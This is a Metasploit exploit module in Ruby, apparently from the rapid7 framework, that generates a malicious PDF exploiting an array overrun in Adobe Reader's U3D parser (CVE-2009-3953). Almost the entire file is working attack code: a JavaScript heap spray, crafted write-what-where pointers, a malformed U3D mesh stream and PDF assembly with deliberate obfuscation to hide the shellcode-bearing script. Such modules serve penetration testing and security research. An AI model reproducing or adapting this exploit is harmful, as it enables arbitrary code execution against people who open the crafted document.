rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
      'Description'    => %q{
          This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
          Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a
          specially crafted pdf that a contains malformed U3D data, an attacker may
          be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
          'jduck'
        ],
      'References'     =>
        [
          [ 'CVE', '2009-3953' ],
          [ 'OSVDB', '61690' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
          'DisableNops'     => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # test results (on Windows XP SP3)
          # reader 7.0.5 - untested
          # reader 7.0.8 - untested
          # reader 7.0.9 - untested
          # reader 7.1.0 - untested
          # reader 7.1.1 - untested
          # reader 8.0.0 - untested
          # reader 8.1.2 - works
          # reader 8.1.3 - not working :-/
          # reader 8.1.4 - untested
          # reader 8.1.5 - untested
          # reader 8.1.6 - untested
          # reader 9.0.0 - untested
          # reader 9.1.0 - works
          [ 'Adobe Reader Windows Universal (JS Heap Spray)',
            {
              'Size'        => (6500/20),
              'DataAddr'    => 0x09011020,
              'WriteAddr'    => 0x7c49fb34,
            }
          ],
        ],
      'DisclosureDate' => '2009-10-13',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
      ])

  end



  def exploit
    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Make some nops
    nops    = Rex::Text.to_unescape(make_nops(4))

=begin

Original notes on heap technique used in this exploit:

## PREPAREHOLES:
## We will construct 6500*20 bytes long chunks starting like this
## |0         |6   |8       |C        |24                    |size
## |00000...  |0100|20100190|0000...  |    ......pad......   |
##                 \      \
##                 \      \ -Pointer: to controlled data
##                   \ -Flag: must be 1
## -Adobe will handle this ragged structure if the Flag is on.
## -Adobe will get 'what to write where' from the memory pointed
##  by our supplied Pointer.
##
## then allocate a bunch of those ..
## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..
##    |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|
##
## and then free some of them...
## .. | chunk | free  | chunk |  free  | chunk |  free  | chunck | ..
##    |XXXXXXX|       |XXXXXXX|        |XXXXXXX|        |XXXXXXXX|
##
## This way controlling when the next 6500*20 malloc will be
## followed with. We freed more than one hole so it became tolerant
## to some degree of malloc/free trace noise.
## Note the 6500 is arbitrary it should be a fairly unused chunk size
## not big enough to cause a different type of allocation.
## Also as we don't need to reference it from anywhere we don't care
## where this hole layout is placed in memory.

## PREPAREMEMORY:
## In the next technique we make a big-chunk of 0x10000 bytes
## repeating a 0x1000 bytes long mini-chunk of controled data.
## Big-chunks are always allocated aligned to 0x1000. And if we
## allocate a fair amount of big-chuncks (XPSPx) we'll be confident
## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000
## will have our mini chunk
##
## A mini-chunk will have this look
##
## |0         |10          |54         |?           |0xff0  |0x1000
## |00000...  |  POINTERS  |    nops   | shellcode  |  pad  |
##
## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+
## But we use 0x09011064.
## POINTERS looks like this:
## ...

=end

    # prepare the hole
    daddr = target['DataAddr']
    hole_data = [0,0,1,daddr].pack('VvvV')
    #padding
    hole_data << "\x00" * 24
    hole = Rex::Text.to_unescape(hole_data)

    # prepare ptrs
    ptrs_data = [0].pack('V')
    #where to write
    ptrs_data << [target['WriteAddr'] / 4].pack('V')
    #must be greater tan 5 and less than x for getting us where we want
    ptrs_data << [6].pack('V')
    #what to write
    ptrs_data << [(daddr+0x10)].pack('V')
    #autopointer for print magic(tm)
    ptrs_data << [(daddr+0x14)].pack('V')
    #function pointers for print magic(tm)
    #pointing to our shellcode
    ptrs_data << [(daddr+0x44)].pack('V') * 12
    ptrs = Rex::Text.to_unescape(ptrs_data)

    js_doc = <<-EOF
function prepareHoles(slide_size)
{
  var size = 1000;
  var xarr = new Array(size);
  var hole = unescape("#{hole}");
  var pad = unescape("%u5858");
  while (pad.length <= slide_size/2 - hole.length)
    pad += pad;
  for (loop1=0; loop1 < size; loop1+=1)
  {
    ident = ""+loop1;
    xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);
  }
  for (loop2=0;loop2<100;loop2++)
  {
    for (loop1=size/2; loop1 < size-2; loop1+=2)
    {
      xarr[loop1]=null;
      xarr[loop1]=pad.substring(0,0x10000/2 )+"A";
      xarr[loop1]=null;
    }
  }
  return xarr;
}

function prepareMemory(size)
{
  var mini_slide_size = 0x1000;
  var slide_size = 0x100000;
  var xarr = new Array(size);
  var pad = unescape("%ucccc");

  while (pad.length <= 32 )
    pad += pad;

  var nops = unescape("#{nops}");
  while (nops.length <= mini_slide_size/2 - nops.length)
    nops += nops;

  var shellcode = unescape("#{shellcode}");
  var pointers = unescape("#{ptrs}");
  var chunk = nops.substring(0,32/2) + pointers +
    nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +
    shellcode + pad.substring(0,32/2);
  chunk=chunk.substring(0,mini_slide_size/2);
  while (chunk.length <= slide_size/2)
    chunk += chunk;

  for (loop1=0; loop1 < size; loop1+=1)
  {
    ident = ""+loop1;
    xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;
  }
  return xarr;
}

  var mem = prepareMemory(200);
  var holes = prepareHoles(6500);
  this.pageNum = 1;
EOF
    js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|

    # Obfuscate it up a bit
    js_doc = obfuscate_js(js_doc,
      'Symbols' => {
        'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident },
        'Methods' => %W{ prepareMemory prepareHoles }
      }).to_s

    # create the u3d stuff
    u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))

    # Create the pdf
    pdf = make_pdf(u3d, js_doc, js_pg1)

    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(pdf)
  end


  def obfuscate_js(javascript, opts)
    js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
    js.obfuscate
    return js
  end


  def random_non_ascii_string(count)
    result = ""
    count.times do
      result << (rand(128) + 128).chr
    end
    result
  end

  def io_def(id)
    "%d 0 obj\n" % id
  end

  def io_ref(id)
    "%d 0 R" % id
  end

  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  def n_obfu(str)

    result = ""
    str.scan(/./u) do |c|
      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
        result << "#%x" % c.unpack("C*")[0]
      else
        result << c
      end
    end
    result
  end

  def ascii_hex_whitespace_encode(str)
    result = ""
    whitespace = ""
    str.each_byte do |b|
      result << whitespace << "%02x" % b
      whitespace = " " * (rand(3) + 1)
    end
    result << ">"
  end

  def u3d_pad(str, char="\x00")
    ret = ""
    if (str.length % 4) > 0
      ret << char * (4 - (str.length % 4))
    end
    return ret
  end


  def make_u3d_stream(size, meshname)

    # build the U3D header
    hdr_data = [1,0].pack('n*') # version info
    hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
    hdr = "U3D\x00"
    hdr << [hdr_data.length,0].pack('VV')
    hdr << hdr_data

    # mesh declaration
    decl_data = [meshname.length].pack('v')
    decl_data << meshname
    decl_data << [0].pack('V') # chain idx
    # max mesh desc
    decl_data << [0].pack('V') # mesh attrs
    decl_data << [1].pack('V') # face count
    decl_data << [size].pack('V') # position count
    decl_data << [4].pack('V') # normal count
    decl_data << [0].pack('V') # diffuse color count
    decl_data << [0].pack('V') # specular color count
    decl_data << [0].pack('V') # texture coord count
    decl_data << [1].pack('V') # shading count
    # shading desc
    decl_data << [0].pack('V') # shading attr
    decl_data << [0].pack('V') # texture layer count
    decl_data << [0].pack('V') # texture coord dimensions
    # no textore coords (original shading ids)
    decl_data << [size+2].pack('V') # minimum resolution
    decl_data << [size+3].pack('V') # final maximum resolution (needs to be bigger than the minimum)
    # quality factors
    decl_data << [0x12c].pack('V') # position quality factor
    decl_data << [0x12c].pack('V') # normal quality factor
    decl_data << [0x12c].pack('V') # texture coord quality factor
    # inverse quantiziation
    decl_data << [0].pack('V') # position inverse quant
    decl_data << [0].pack('V') # normal inverse quant
    decl_data << [0].pack('V') # texture coord inverse quant
    decl_data << [0].pack('V') # diffuse color inverse quant
    decl_data << [0].pack('V') # specular color inverse quant
    # resource params
    decl_data << [0].pack('V') # normal crease param
    decl_data << [0].pack('V') # normal update param
    decl_data << [0].pack('V') # normal tolerance param
    # skeleton description
    decl_data << [0].pack('V') # bone count
    # padding
    decl_pad = u3d_pad(decl_data)
    mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
    mesh_decl << decl_data
    mesh_decl << decl_pad

    # build the modifier chain
    chain_data = [meshname.length].pack('v')
    chain_data << meshname
    chain_data << [1].pack('V') # type (model resource)
    chain_data << [0].pack('V') # attributes (no bounding info)
    chain_data << u3d_pad(chain_data)
    chain_data << [1].pack('V') # number of modifiers
    chain_data << mesh_decl
    modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
    modifier_chain << chain_data

    # mesh continuation
    cont_data = [meshname.length].pack('v')
    cont_data << meshname
    cont_data << [0].pack('V') # chain idx
    cont_data << [0].pack('V') # start resolution
    cont_data << [0].pack('V') # end resolution
    # no resolution update, unknown data follows
    cont_data << [0].pack('V')
    cont_data << [1].pack('V') * 10
    mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
    mesh_cont << cont_data
    mesh_cont << u3d_pad(cont_data)

    data = hdr
    data << modifier_chain
    data << mesh_cont

    # patch the length
    data[24,4] = [data.length].pack('V')

    return data

  end

  def make_pdf(u3d_stream, js_doc, js_pg1)

    xref = []
    eol = "\x0a"
    obj_end = "" << eol << "endobj" << eol

    # the header
    pdf = "%PDF-1.7" << eol

    # filename/comment
    pdf << "%" << random_non_ascii_string(4) << eol

    # js stream (doc open action js)
    xref << pdf.length
    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_doc))
    pdf << io_def(1) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << obj_end

    # js stream 2 (page 1 annot js)
    xref << pdf.length
    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_pg1))
    pdf << io_def(2) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << obj_end

    # catalog
    xref << pdf.length
    pdf << io_def(3) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(4)
    pdf << n_obfu("/Pages ") << io_ref(5)
    pdf << n_obfu("/OpenAction ") << io_ref(8) << n_obfu(">>")
    pdf << obj_end

    # outline
    xref << pdf.length
    pdf << io_def(4) << n_obfu("<</Type/Outlines/Count 0>>")
    pdf << obj_end

    # pages/kids
    xref << pdf.length
    pdf << io_def(5) << n_obfu("<</Type/Pages/Count 2/Kids [")
    pdf << io_ref(10) << " " # empty page
    pdf << io_ref(11) # u3d page
    pdf << n_obfu("]>>")
    pdf << obj_end

    # u3d stream
    xref << pdf.length
    pdf << io_def(6) << n_obfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
    pdf << "stream" << eol
    pdf << u3d_stream << eol
    pdf << "endstream"
    pdf << obj_end

    # u3d annotation object
    xref << pdf.length
    pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype")
    pdf << "/3D/3DA <</A/PO/DIS/I>>"
    pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>")
    pdf << obj_end

    # js dict (open action js)
    xref << pdf.length
    pdf << io_def(8) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(1) + ">>" << obj_end

    # js dict (page 1 annot js)
    xref << pdf.length
    pdf << io_def(9) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(2) + ">>" << obj_end

    # page 0 (empty)
    xref << pdf.length
    pdf << io_def(10) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
    pdf << n_obfu(" >>")
    pdf << obj_end

    # page 1 (u3d/print)
    xref << pdf.length
    pdf << io_def(11) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
    pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("]")
    pdf << n_obfu("/AA << /O ") << io_ref(9) << n_obfu(">>")
    pdf << n_obfu(">>")
    pdf << obj_end

    # xrefs
    xrefPosition = pdf.length
    pdf << "xref" << eol
    pdf << "0 %d" % (xref.length + 1) << eol
    pdf << "0000000000 65535 f" << eol
    xref.each do |index|
      pdf << "%010d 00000 n" % index << eol
    end

    # trailer
    pdf << "trailer" << eol
    pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(3) << ">>" << eol
    pdf << "startxref" << eol
    pdf << xrefPosition.to_s() << eol
    pdf << "%%EOF" << eol

  end
end